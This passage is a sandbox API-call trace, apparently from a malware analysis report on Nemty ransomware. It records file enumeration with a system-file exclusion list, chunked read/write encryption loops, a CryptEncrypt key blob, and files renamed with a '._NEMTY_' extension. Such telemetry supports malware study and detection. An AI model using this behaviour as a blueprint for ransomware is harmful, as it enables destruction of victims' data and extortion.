lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.940] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0124.940] CloseHandle (hObject=0xffffffff) returned 0 [0124.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0124.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0124.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0124.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0124.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png._nemty_kgobjgd_")) returned 0 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0124.941] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84291931, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84291931, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291209b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc03, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="dial_lrg_sml.png", cAlternateFileName="")) returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="..") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="...") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="windows") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="$RECYCLE.BIN") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="rsa") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="NTDETECT.COM") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="ntldr") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="MSDOS.SYS") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="IO.SYS") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="boot.ini") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="boot.ini") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="AUTOEXEC.BAT") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="ntuser.dat") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="desktop.ini") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="CONFIG.SYS") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="RECYCLER") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="BOOTSECT.BAK") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="bootmgr") returned 1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="programdata") returned -1 [0124.941] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2="appdata") returned 1 [0124.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0124.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg_sml.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0124.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.941] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg_sml.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_lrg_sml.png", lpUsedDefaultChar=0x0) returned 16 [0124.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0124.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg_sml.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0124.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg_sml.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_lrg_sml.png", lpUsedDefaultChar=0x0) returned 16 [0124.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0124.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0124.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0124.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg_sml.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0124.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg_sml.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_lrg_sml.png", lpUsedDefaultChar=0x0) returned 16 [0124.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0124.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0124.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg_sml.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0124.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg_sml.png", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_lrg_sml.png", lpUsedDefaultChar=0x0) returned 16 [0124.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0124.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0124.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0124.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0124.942] Sleep (dwMilliseconds=0x5) [0124.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe200a70, dwHighDateTime=0x1d561e7)) [0124.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe200a70, dwHighDateTime=0x1d561e7)) [0124.955] GetLastError () returned 0x5 [0124.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.955] GetLastError () returned 0x5 [0124.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0124.955] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0124.955] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0124.956] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0124.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0124.956] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="T/Tydb6rGbX5qWk5/L2uPIloZvMM0NXVxEcEb9WeEn/zyRcReRCV4dgmq7r/0qpN\r\nuvqU4XFN+DNXfr2i58GC70db7sPXWMSjCWhEZCbFFEbFmihZtTMy7O7mMK8JUvFp\r\nRRB7kE1x0iWpIKZmelfZODS9o+zGYWWxHYNFcwXN2NZNmiWFvZDaQTxC6f0yLEfq\r\nvpnRb57A5VegOzECgRpfDE8bjWMhYk3XoYMtm3VRtKdXAmh+ac58lPPc7OMYMbyx\r\n09Mtpe01PGmIMgOCcICcdU2fcFlLNnK682Fpm2noSgBBPvQ7d1oT1Ke73ryyPX3U\r\nZdaRM7wD1O21QeNfZIbXUg==\r\n", pcchString=0x653e91c) returned 1 [0124.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0124.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0124.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0124.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0124.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0124.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0124.956] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg_sml.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.956] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0124.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0124.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.967] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0125.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0125.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, 